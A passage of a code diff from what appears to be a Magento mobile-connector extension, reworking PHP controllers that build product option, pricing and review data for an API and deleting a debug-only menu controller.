335
- foreach ( $_product->getTierPrice () as $discount ) {
336
- $result [] = array (
337
- 'min_qty' => ( int ) $discount ['price_qty'],
338
- 'price' => $this->getCurrencyPrice ( $discount ['price'] )
339
- );
340
- }
341
- }
342
- return $result;
343
- }
344
- public function clear() {
345
- $this->item = array ();
346
- $this->product = null;
347
- }
348
- private function getProductGroupedOptions(Mage_Catalog_Model_Product $product) {
349
- if (! $product->getId ()) {
350
- return array ();
351
- }
352
- if (! $product->isSaleable ()) {
353
- return array ();
354
- }
355
- /**
356
- * Grouped (associated) products
357
- */
358
- $_associatedProducts = $product->getTypeInstance ( true )->getAssociatedProducts ( $product );
359
- if (! sizeof ( $_associatedProducts )) {
360
- return array ();
361
- }
362
- $attributes = array ();
363
- foreach ( $_associatedProducts as $_item ) {
364
- if (! $_item->isSaleable ()) {
365
- continue;
366
- }
367
- $attribute = array ();
368
-
369
- $attribute ['attribute_id'] = $_item->getId ();
370
- $attribute ['input'] = 'product';
371
- $attribute ['title'] = strip_tags ( $_item->getName () );
372
- $attribute ['qty'] = $_item->getQty () * 1;
373
- $attribute ['is_editable'] = 1;
374
- /**
375
- * Process product price
376
- */
377
- if ($_item->getPrice () != $_item->getFinalPrice ()) {
378
- $productPrice = $_item->getFinalPrice ();
379
- } else {
380
- $productPrice = $_item->getPrice ();
381
- }
382
- if ($productPrice > 0.00) {
383
- // add
384
- $attribute ['price'] = $this->getCurrencyPrice ( $productPrice );
385
- }
386
- $attribute ['options'] = array ();
387
- $attributes [] = $attribute;
388
- }
389
- return $attributes;
390
- }
391
- private function getProductBundleOptions(Mage_Catalog_Model_Product $product) {
392
- if ($product->getTypeInstance ( true )->hasOptions ( $product )) {
393
- $product->getTypeInstance ( true )->setStoreFilter ( $product->getStoreId (), $product );
394
- $optionCollection = $product->getTypeInstance ( true )->getOptionsCollection ( $product );
395
- $selectionCollection = $product->getTypeInstance ( true )->getSelectionsCollection ( $product->getTypeInstance ( true )->getOptionsIds ( $product ), $product );
396
- $bundleOptions = $optionCollection->appendSelections ( $selectionCollection, false, false );
397
- if (! sizeof ( $bundleOptions )) {
398
- return array ();
399
- }
400
- $attributes = array ();
401
- foreach ( $bundleOptions as $_option ) {
402
- $selections = $_option->getSelections ();
403
- if (empty ( $selections )) {
404
- continue;
405
- }
406
- $type = self::OPTION_TYPE_SELECT;
407
- if ($_option->isMultiSelection ()) {
408
- $type = self::OPTION_TYPE_MULTIPLE_SELECT;
409
- }
410
- $code = $_option->getId ();
411
- if ($type == self::OPTION_TYPE_MULTIPLE_SELECT) {
412
- $code .= '';
413
- }
414
- $attribute = array ();
415
- $attribute ['attribute_id'] = $code;
416
- $attribute ['parent_id'] = $_option->getParentId ();
417
- $attribute ['position'] = $_option->getPosition ();
418
- $attribute ['required'] = $_option->getRequired () || $_option->getIsRequired () || $_option->getIsRequire ();
419
- $attribute ['input'] = $this->_getOptionTypeForKanCartByRealType ( $_option->getType () );
420
- $attribute ['title'] = $_option->getTitle ();
421
- $attribute ['options'] = array ();
422
- if (! $attribute ['required'] && $attribute ['input'] == self::OPTION_TYPE_SELECT) {
423
- $none = array (
424
- 'attribute_id' => 'none',
425
- 'option_id' => '',
426
- 'title' => 'None'
427
- );
428
- $attribute ['options'] [] = $none;
429
- }
430
- if (empty ( $selections )) {
431
- $attributes [] = $attribute;
432
- continue;
433
- }
434
- foreach ( $_option->getSelections () as $_selection ) {
435
- if (! $_selection->isSaleable ()) {
436
- continue;
437
- }
438
- $finalValue = array ();
439
- $finalValue ['attribute_id'] = $_option->getOptionId ();
440
- $finalValue ['option_id'] = $_selection->getSelectionId ();
441
- $finalValue ['title'] = $_selection->getName ();
442
- $finalValue ['qty'] = ! ($_selection->getSelectionQty () * 1) ? '1' : $_selection->getSelectionQty () * 1;
443
- $finalValue ['is_default'] = $_selection->getIsDefault ();
444
- if (! $_option->isMultiSelection ()) {
445
- if ($_selection->getSelectionCanChangeQty ()) {
446
- $finalValue ['is_qty_editable'] = 1;
447
- }
448
- }
449
- $price = $product->getPriceModel ()->getSelectionPreFinalPrice ( $product, $_selection );
450
- if (( float ) $price != 0.00) {
451
- $finalValue ['price'] = $this->getCurrencyPrice ( $price );
452
- } else {
453
- $finalValue ['price'] = null;
454
- }
455
- $attribute ['options'] [] = $finalValue;
456
- }
457
- $attributes [] = $attribute;
458
- }
459
- return $attributes;
460
- }
461
- return false;
462
- }
463
-
464
- /**
465
- * 仅仅将$attributes中的数据提取出来,其中价格已经是根据当前汇率转换后的价格
466
- *
467
- * @param type $attributes
468
- * @return type
469
- */
470
- private function getProductConfigurableAttributes($configurableProductAttributes) {
471
- $attributes = array ();
472
- foreach ( $configurableProductAttributes as $attrId => $attribute ) {
473
- $eachAttribute = array ();
474
- $eachAttribute ['attribute_id'] = $attrId;
475
- $eachAttribute ['required'] = $attribute ['is_required'] == '1' ? true : false;
476
- $eachAttribute ['input'] = 'select';
477
- $eachAttribute ['title'] = $attribute ['label'];
478
- $eachAttribute ['options'] = array ();
479
- if (isset ( $attribute ['options'] )) {
480
- foreach ( $attribute ['options'] as $option ) {
481
- $value = array ();
482
- $value ['attribute_id'] = $attrId;
483
- $value ['option_id'] = $option ['id'];
484
- $value ['title'] = $option ['label'];
485
- $value ['price'] = $option ['price'];
486
- $eachAttribute ['options'] [] = $value;
487
- }
488
- }
489
- $attributes [] = $eachAttribute;
490
- }
491
- return $attributes;
492
- }
493
- private function getProductOptions(Mage_Catalog_Model_Product $product) {
494
- $orgiOptions = $this->getProductCustomOptionsOption ( $product );
495
- $options = array ();
496
- if (! $product->isSaleable ()) {
497
- return $orgiOptions;
498
- }
499
- $_attributes = $product->getTypeInstance ( true )->getConfigurableAttributes ( $product );
500
- if (! sizeof ( $_attributes )) {
501
- return $orgiOptions;
502
- }
503
- $_allowProducts = array ();
504
- $_allProducts = $product->getTypeInstance ( true )->getUsedProducts ( null, $product );
505
- foreach ( $_allProducts as $_product ) {
506
- if ($_product->isSaleable ()) {
507
- $_allowProducts [] = $_product;
508
- }
509
- }
510
- foreach ( $_allowProducts as $_item ) {
511
- $_productId = $_item->getId ();
512
- foreach ( $_attributes as $attribute ) {
513
- $productAttribute = $attribute->getProductAttribute ();
514
- $attributeValue = $_item->getData ( $productAttribute->getAttributeCode () );
515
- $options [$productAttribute->getId ()] [$_productId] = $attributeValue;
516
- }
517
- }
518
- $this->item ['attribute_relation'] = $this->getAttributeRelation ( $options );
519
- foreach ( $_attributes as $attribute ) {
520
- $productAttribute = $attribute->getProductAttribute ();
521
- $attributeId = $productAttribute->getId ();
522
- $info = array (
523
- 'id' => $productAttribute->getId (),
524
- 'label' => $attribute->getLabel (),
525
- 'is_required' => $productAttribute->getRequired () || $productAttribute->getIsRequired () || $productAttribute->getIsRequire (),
526
- 'options' => array ()
527
- );
528
- $prices = $attribute->getPrices ();
529
- if (is_array ( $prices )) {
530
- foreach ( $prices as $value ) {
531
- if (! in_array ( $value ['value_index'], $options [$attributeId] )) {
532
- continue;
533
- }
534
- $info ['options'] [] = array (
535
- 'id' => $value ['value_index'],
536
- 'label' => $value ['label'],
537
- 'price' => $this->_preparePrice ( $product, $value ['pricing_value'], $value ['is_percent'] )
538
- );
539
- }
540
- }
541
- if (sizeof ( $info ['options'] ) > 0) {
542
- $attributes [$attributeId] = $info;
543
- }
544
- }
545
- $configurabeAttributes = $this->getProductConfigurableAttributes ( $attributes );
546
- $this->addPrefixTo ( $orgiOptions, 'option' );
547
- $this->addPrefixTo ( $configurabeAttributes, 'super_attribute' );
548
- foreach ( $orgiOptions as $opt ) {
549
- $configurabeAttributes [] = $opt;
550
- }
551
- return $configurabeAttributes;
552
- }
553
- private function getProductCustomOptionsOption(Mage_Catalog_Model_Product $product) {
554
- $options = array ();
555
- if (! $product->getId ()) {
556
- return $options;
557
- }
558
- if (! $product->isSaleable () || ! sizeof ( $product->getOptions () )) {
559
- return $options;
560
- }
561
- foreach ( $product->getOptions () as $option ) {
562
- $optionObj = array ();
563
- $type = $this->_getOptionTypeForKanCartByRealType ( $option->getType () );
564
- $optionObj ['attribute_id'] = $option->getId ();
565
- $optionObj ['required'] = $option->getRequired () || $option->getIsRequire () || $option->getIsRequired ();
566
- $optionObj ['input'] = $type;
567
- $optionObj ['title'] = $option->getTitle ();
568
- $price = $option->getPrice ();
569
- if ($price) {
570
- $optionObj ['price'] = $this->getCurrencyPrice ( $price );
571
- } else {
572
- $optionObj ['price'] = null;
573
- }
574
- $optionObj ['options'] = array ();
575
- if (! $optionObj ['required'] && $optionObj ['input'] == self::OPTION_TYPE_SELECT) {
576
- $none = array (
577
- 'attribute_id' => 'none',
578
- 'option_id' => '',
579
- 'title' => 'None'
580
- );
581
- $optionObj ['options'] [] = $none;
582
- }
583
- foreach ( $option->getValues () as $value ) {
584
- $optionValueObj = array ();
585
- $optionValueObj ['attribute_id'] = $option->getId ();
586
- $optionValueObj ['option_id'] = $value->getId ();
587
- $optionValueObj ['title'] = $value->getTitle ();
588
- $price = $value->getPrice ();
589
- if ($price) {
590
- $optionValueObj ['price'] = $this->getCurrencyPrice ( $price );
591
- } else {
592
- $optionValueObj ['price'] = null;
593
- }
594
- $optionObj ['options'] [] = $optionValueObj;
595
- }
596
- $options [] = $optionObj;
597
- }
598
- return $options;
599
- }
600
- private function _getOptionTypeForKanCartByRealType($realType) {
601
- static $map = null;
602
-
603
- if (is_null ( $map )) {
604
- $maps = array (
605
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_DROP_DOWN => self::OPTION_TYPE_SELECT,
606
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_RADIO => self::OPTION_TYPE_SELECT,
607
- Mage_Catalog_Model_Product_Option::OPTION_GROUP_SELECT => self::OPTION_TYPE_SELECT,
608
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_MULTIPLE => self::OPTION_TYPE_MULTIPLE_SELECT,
609
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_CHECKBOX => self::OPTION_TYPE_MULTIPLE_SELECT,
610
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_DATE => self::OPTION_TYPE_DATE,
611
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_TIME => self::OPTION_TYPE_TIME,
612
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_DATE_TIME => self::OPTION_TYPE_DATE_TIME,
613
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_FIELD => self::OPTION_TYPE_TEXT,
614
- Mage_Catalog_Model_Product_Option::OPTION_TYPE_AREA => self::OPTION_TYPE_TEXT,
615
- 'multi' => self::OPTION_TYPE_MULTIPLE_SELECT
616
- );
617
- }
618
-
619
- return isset ( $maps [$realType] ) ? $maps [$realType] : self::OPTION_TYPE_TEXT;
620
- }
621
-
622
- /**
623
- * dowload options
624
- *
625
- * @param type $attributes
626
- * @return type
627
- */
628
- private function getProductDownloadOptions($product) {
629
- $block = Mage::getBlockSingleton ( 'downloadable/catalog_product_links' );
630
- $block->setProduct ( $product );
631
- $links = $block->getLinks ();
632
-
633
- $attributes = array ();
634
- if ($block->hasLinks ()) {
635
- $eachAttribute = array ();
636
- $attrId = strtolower ( $block->getLinksTitle () );
637
- $eachAttribute ['attribute_id'] = $attrId;
638
- $eachAttribute ['required'] = ( bool ) $block->getLinkSelectionRequired ();
639
- $eachAttribute ['input'] = self::OPTION_TYPE_MULTIPLE_SELECT;
640
- $eachAttribute ['title'] = $block->getLinksTitle ();
641
- $eachAttribute ['options'] = array ();
642
- foreach ( $links as $link ) {
643
- $value = array ();
644
- preg_match ( '/\d+\.\d+/', $block->getFormattedLinkPrice ( $link ), $prices );
645
- if ($link->getSampleFile () || $link->getSampleUrl ()) {
646
- $title = $link->getTitle () . ' (<a href="' . $block->getLinkSamlpeUrl ( $link ) . '" ' . ($block->getIsOpenInNewWindow () ? 'onclick="this.target=\'_blank\'">' : '>') . Mage::helper ( 'downloadable' )->__ ( 'sample' ) . '</a>)';
647
- } else {
648
- $title = $link->getTitle ();
649
- }
650
- $value ['attribute_id'] = $attrId;
651
- $value ['option_id'] = $link->getId ();
652
- $value ['title'] = $title;
653
- $value ['price'] = floatval ( $prices [0] );
654
- $eachAttribute ['options'] [] = $value;
655
- }
656
- $attributes [] = $eachAttribute;
657
- }
658
- return $attributes;
659
- }
660
- private function getAttributeRelation($options, $type = 'associate') {
661
- $attributeRelation = array ();
662
-
663
- if ($type == 'associate') {
664
- if ($options && sizeof ( $options ) > 1) {
665
- $min = 100;
666
- $parentAttributeId = 0;
667
- $parentOption = array ();
668
- foreach ( $options as $attributeId => $option ) {
669
- $optionSize = sizeof ( array_flip ( $option ) );
670
- if ($optionSize < $min) {
671
- $min = $optionSize;
672
- $parentAttributeId = $attributeId;
673
- $parentOption = $option;
674
- }
675
- }
676
-
677
- foreach ( $options as $attributeId => $option ) {
678
- if ($parentAttributeId == $attributeId) {
679
- continue;
680
- }
681
- $relations = array ();
682
- foreach ( $option as $key => $value ) {
683
- $parentOptionId = $parentOption [$key];
684
- $relations [$parentOptionId] ['parent_option_id'] = $parentOptionId;
685
- $relations [$parentOptionId] ['child_option_id'] [] = $value;
686
- }
687
- $attributeRelation [] = array (
688
- 'parent_attribute_id' => 'super_attribute_' . $parentAttributeId,
689
- 'child_attribute_id' => 'super_attribute_' . $attributeId,
690
- 'type' => $type,
691
- 'value' => array_values ( $relations )
692
- );
693
- }
694
- }
695
- } elseif ($type == 'display') {
696
- }
697
-
698
- return $attributeRelation;
699
- }
700
- private function _preparePrice($product, $price, $isPercent = false) {
701
- if ($isPercent && ! empty ( $price )) {
702
- $price = $product->getFinalPrice () * $price / 100;
703
- }
704
- $price = Mage::app ()->getStore ()->convertPrice ( $price );
705
- $price = Mage::app ()->getStore ()->roundPrice ( $price );
706
- return $price;
707
- }
708
- private function collectProductPrices($product) {
709
- $DisplayMinimalPrice = true;
710
- $UseLinkForAsLowAs = false;
711
- $prices = array ();
712
- $prices ['currency'] = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
713
- $display_prices = array ();
714
- $prices ['tier_prices'] = $this->getItemTierPrice ( $product );
715
-
716
- $_minimalPriceValue = $product->getMinimalPrice ();
717
-
718
- if (! $product->isGrouped ()) {
719
- $_price = $product->getPrice ();
720
- $_finalPrice = $product->getFinalPrice ();
721
- if ($DisplayMinimalPrice && $_minimalPriceValue && $_minimalPriceValue < $_finalPrice) {
722
- if (! $UseLinkForAsLowAs) {
723
- if ($_finalPrice > 0) {
724
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Price:' ), $this->getCurrencyPrice ( $_finalPrice ) );
725
- }
726
- if (! $this->detail) { // items list show different
727
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'As low as:' ) . $this->getCurrencyPrice ( $_minimalPriceValue, true, false ), 0, 'free' );
728
- } else if (! $_finalPrice) {
729
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'As low as:' ), $this->getCurrencyPrice ( $_minimalPriceValue ) );
730
- }
731
- }
732
- } else {
733
- if ($_finalPrice == $_price) {
734
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Price:' ), $this->getCurrencyPrice ( $_price ) );
735
- } else {
736
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Regular Price:' ), $this->getCurrencyPrice ( $_price ), 'line-through' );
737
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Special Price:' ), $this->getCurrencyPrice ( $_finalPrice ) );
738
- $this->item ['discount'] = round ( 100 - ($_finalPrice * 100) / $_price );
739
- }
740
- }
741
- } else {
742
- if ($DisplayMinimalPrice && $_minimalPriceValue) {
743
- if (! $this->detail) { // items list show different
744
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Starting at:' ) . $this->getCurrencyPrice ( $_minimalPriceValue, true, false ), 0, 'free' );
745
- } else {
746
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Starting at:' ), $this->getCurrencyPrice ( $_minimalPriceValue ) );
747
- }
748
- }
749
- $_finalPrice = $_minimalPriceValue;
750
- }
751
- $prices ['base_price'] = array (
752
- 'price' => $this->getCurrencyPrice ( $_finalPrice )
753
- );
754
- $prices ['display_prices'] = $display_prices;
755
- return $prices;
756
- }
757
- private function collectBundleProductPrices($product) {
758
- $prices = array ();
759
- $prices ['currency'] = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
760
- $display_prices = array ();
761
- $prices ['tier_prices'] = $this->getItemTierPrice ( $product );
762
-
763
- /* @var $_weeeHelper Mage_Weee_Helper_Data */
764
- /* @var $_taxHelper Mage_Tax_Helper_Data */
765
- list ( $_minimalPrice, $_maximalPrice ) = $product->getPriceModel ()->getPrices ( $product );
766
- $_finalPrice = $product->getFinalPrice ();
767
- if ($product->getPriceView ()) {
768
- if ($_finalPrice > 0) {
769
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Price:' ), $this->getCurrencyPrice ( $_finalPrice ) );
770
- }
771
- if (! $this->detail) { // items list show different
772
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'As low as: ' ) . $this->getCurrencyPrice ( $_minimalPrice, true, false ), 0, 'free' );
773
- } else if (! $_finalPrice) {
774
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'As low as: ' ), $this->getCurrencyPrice ( $_minimalPrice ) );
775
- }
776
- } else {
777
- if ($_minimalPrice != $_maximalPrice) {
778
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'From:' ), $this->getCurrencyPrice ( $_minimalPrice ), 'from' );
779
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'To:' ), $this->getCurrencyPrice ( $_maximalPrice ), 'to' );
780
- } else {
781
- $this->addtoDisplayPrices ( $display_prices, $this->__ ( 'Price:' ), $this->getCurrencyPrice ( $_minimalPrice ), 'normal' );
782
- }
783
- }
784
- $prices ['base_price'] = array (
785
- 'price' => $this->getCurrencyPrice ( $_finalPrice )
786
- );
787
- $prices ['display_prices'] = $display_prices;
788
- return $prices;
789
- }
790
- private function addtoDisplayPrices(&$display_prices, $title, $value, $style = 'normal') {
791
- $display_prices [] = array (
792
- 'title' => $title,
793
- 'price' => $value,
794
- 'style' => $style ? $style : 'normal'
795
- );
796
- return $display_prices;
797
- }
798
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app/code/local/Mss/Connector/controllers/ItemsController.php CHANGED
@@ -233,7 +233,7 @@ class Mss_Connector_ItemsController extends Mage_Core_Controller_Front_Action {
233
  return array (
234
  false,
235
  '0x0013',
236
- $e->getMessage ()
237
  );
238
  }
239
  }
233
  return array (
234
  false,
235
  '0x0013',
236
+ $this->__($e->getMessage ())
237
  );
238
  }
239
  }
app/code/local/Mss/Connector/controllers/MenuController.php DELETED
@@ -1,98 +0,0 @@
1
- <?php
2
-
3
- class Mss_Connector_MenuController extends Mage_Core_Controller_Front_Action {
4
- public function _construct(){
5
-
6
- header('content-type: application/json; charset=utf-8');
7
- header("access-control-allow-origin: *");
8
- Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
9
- parent::_construct();
10
-
11
- }
12
-
13
- public function suggestAction() {
14
-
15
-
16
- }
17
-
18
- public function getproductinfoAction() {
19
-
20
- $productid=$this->getRequest ()->getParam ( 'productid' );
21
-
22
- //$productid = '1'; // test sentence
23
-
24
- $product = Mage::getModel ( 'catalog/product' )->load ( $productid );
25
-
26
-
27
-
28
- foreach ( $product->getAttributes () as $att ) {
29
-
30
- $group_id = $att->getData ( 'attribute_group_id' );
31
-
32
- $group = Mage::getModel ( 'eav/entity_attribute_group' )->load ( $group_id );
33
-
34
- var_dump ( $group );
35
-
36
- }
37
-
38
- $attrSetName = 'my_custom_attribute';
39
-
40
- $attributeSetId = Mage::getModel ( 'eav/entity_attribute_set' )->load ( $attrSetName, 'attribute_set_name' )->getAttributeSetId ();
41
-
42
- // get a drop down lists options for a mulit-select attribute
43
-
44
- $attribute = Mage::getModel ( 'eav/config' )->getAttribute ( 'catalog_product', 'attribute_id' );
45
-
46
- foreach ( $attribute->getSource ()->getAllOptions ( true, true ) as $option ) {
47
-
48
- $attributeArray [$option ['value']] = $option ['label'];
49
-
50
- }
51
-
52
- var_dump ( $$attributeArray );
53
-
54
-
55
-
56
- $sets = Mage::getResourceModel ( 'eav/entity_attribute_set_collection' )->setEntityTypeFilter ( Mage::getModel ( 'catalog/product' )->getResource ()->getTypeId () )->load ()->toOptionHash ();
57
-
58
- }
59
-
60
- public function getcustomeroptionAction(){
61
-
62
- $productid=$this->getRequest ()->getParam ( 'productid' );
63
-
64
- $product = Mage::getModel("catalog/product")->load($productid);
65
-
66
- $i = 1;
67
-
68
- echo "<pre>";
69
-
70
- foreach ($product->getOptions() as $o) {
71
-
72
- echo "<strong>Custom Option:" . $i . "</strong><br/>";
73
-
74
- echo "Custom Option TYPE: " . $o->getType() . "<br/>";
75
-
76
- echo "Custom Option TITLE: " . $o->getTitle() . "<br/>";
77
-
78
- echo "Custom Option Values: <br/>";
79
-
80
- // Getting Values if it has option values, case of select,dropdown,radio,multiselect
81
-
82
- $values = $o->getValues();
83
-
84
- foreach ($values as $v) {
85
-
86
- print_r($v->getData());
87
-
88
- }
89
-
90
- $i++;
91
-
92
- echo "----------------------------------<br/>";
93
-
94
- }
95
-
96
- }
97
-
98
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
app/code/local/Mss/Connector/controllers/ProductsController.php CHANGED
@@ -1,18 +1,29 @@
1
  <?php
2
  class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action {
3
 
 
 
 
 
4
  public function _construct(){
5
 
6
  header('content-type: application/json; charset=utf-8');
7
  header("access-control-allow-origin: *");
8
  Mage::helper('connector')->loadParent(Mage::app()->getFrontController()->getRequest()->getHeader('token'));
 
 
 
 
 
 
9
  parent::_construct();
10
 
11
  }
12
 
13
  public function getcustomoptionAction() {
14
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
15
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
 
16
  $productid = $this->getRequest ()->getParam ( 'productid' );
17
  $product = Mage::getModel ( "catalog/product" )->load ( $productid );
18
  $selectid = 1;
@@ -69,10 +80,24 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
69
  }
70
 
71
  public function getproductdetailAction() {
 
 
 
 
 
 
 
 
 
 
 
 
 
72
  $productdetail = array ();
73
  $baseCurrency = Mage::app ()->getStore ()->getBaseCurrency ()->getCode ();
74
- $currentCurrency = Mage::app ()->getStore ()->getCurrentCurrencyCode ();
75
- $productid = $this->getRequest ()->getParam ( 'productid' );
 
76
 
77
  $model = Mage::getModel ( "catalog/product" );
78
  $product = $model->load ( $productid );
@@ -86,266 +111,269 @@ class Mss_Connector_ProductsController extends Mage_Core_Controller_Front_Action
86
  ->addStatusFilter(Mage_Review_Model_Review::STATUS_APPROVED)
87
  ->setDateOrder()
88
  ->addRateVotes();
89
- $avg = 0;
90
- $ratings = array();
91
- $rdetails=array();
 
 
 
 
92
 
93
- if (count($reviews) > 0) {
94
- foreach ($reviews->getItems() as $review) {
95
-
96
- $review_rating=0;
97
- foreach( $review->getRatingVotes() as $vote ) {
98
- $review_rating = $vote->getPercent();
99
- $ratings[] = $vote->getPercent();
100
- }
101
- if($review_rating)
102
- $rating_by = ($review_rating/20);
 
 
 
 
 
 
 
 
 
 
103
 
104
- $rdetails[]= array(
105
- 'title'=>$review->getTitle(),
106
- 'description'=>$review->getDetail(),
107
- 'reviewby'=>$review->getNickname(),
108
- 'rating_by'=>$rating_by,
109
- 'rating_date'=>date("d-m-Y", strtotime($review->getCreatedAt())),
110
- );
111
- }
112
- $avg = array_sum($ratings)/count($ratings);
113
- }
114
- $rating=ceil($avg/20);
115
- $reviews=$rdetails;
116
 
117
- /*get product rating*/
118
 
119
- if($product->getTypeId() == "configurable"):
120
- $productdetail = array();
121
- $config = $product->getTypeInstance(true);
122
 
123
- $conf = Mage::getModel('catalog/product_type_configurable')->setProduct($product);
124
- $simple_collection = $conf->getUsedProductCollection()->addAttributeToSelect('*')->addFilterByRequiredOptions()->getData();
125
 
126
- $storeUrl = Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_MEDIA);
127
- $description = nl2br ( $product->getDescription () );
128
- $description = str_replace("{{media url=\"",$storeUrl,$description);
129
- $description = str_replace("\"}}","",$description);
 
 
 
 
 
 
 
 
 
 
 
 
 
130
 
131
- $c_ops=array();
132
-
133
- if ($product->getData('has_options'))
134
- {
135
- $has_custom_options = true;
136
- // Start custom options
137
- $all_custom_option_array = array();
138
- $attVal = $product->getOptions();
139
- $optStr = "";
140
- $inc=0;
141
- $has_custom_option = 0;
142
- foreach($attVal as $optionKey => $optionVal)
143
- {
144
-
145
- $has_custom_option = 1;
146
- $all_custom_option_array[$inc]['custom_option_name']=$optionVal->getTitle();
147
- $all_custom_option_array[$inc]['custom_option_id']=$optionVal->getId();
148
- $all_custom_option_array[$inc]['custom_option_is_required']=$optionVal->getIsRequire();
149
- $all_custom_option_array[$inc]['custom_option_type']=$optionVal->getType();
150
- $all_custom_option_array[$inc]['sort_order'] = $optionVal->getSortOrder();
151
- $all_custom_option_array[$inc]['all'] = $optionVal->getData();
152
- if($all_custom_option_array[$inc]['all']['default_price_type'] == "percent") {
153
- $all_custom_option_array[$inc]['all']['price'] = number_format((($product->getFinalPrice()*round($all_custom_option_array[$inc]['all']['price']*10,2)/10)/100),2);
154
 
155
- }
156
- else {
157
- $all_custom_option_array[$inc]['all']['price'] = number_format($all_custom_option_array[$inc]['all']['price'],2);
158
- }
159
-
160
- $all_custom_option_array[$inc]['all']['price'] = str_replace(",","",$all_custom_option_array[$inc]['all']['price']);
161
- $all_custom_option_array[$inc]['all']['price'] = strval(round($this->convert_currency($all_custom_option_array[$inc]['all']['price'],$basecurrencycode,$currentcurrencycode),2));
162
-
163
- $all_custom_option_array[$inc]['custom_option_value_array'];
164
- $inner_inc =0;
165
-
166
- foreach($optionVal->getValues() as $valuesKey => $valuesVal)
167
- {
168
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['id'] = $valuesVal->getId();
169
- $all_custom_option_array[$inc]['custom_option_value_array'][$inner_inc]['title'] = $valuesVal->getTitle();
170
-
171
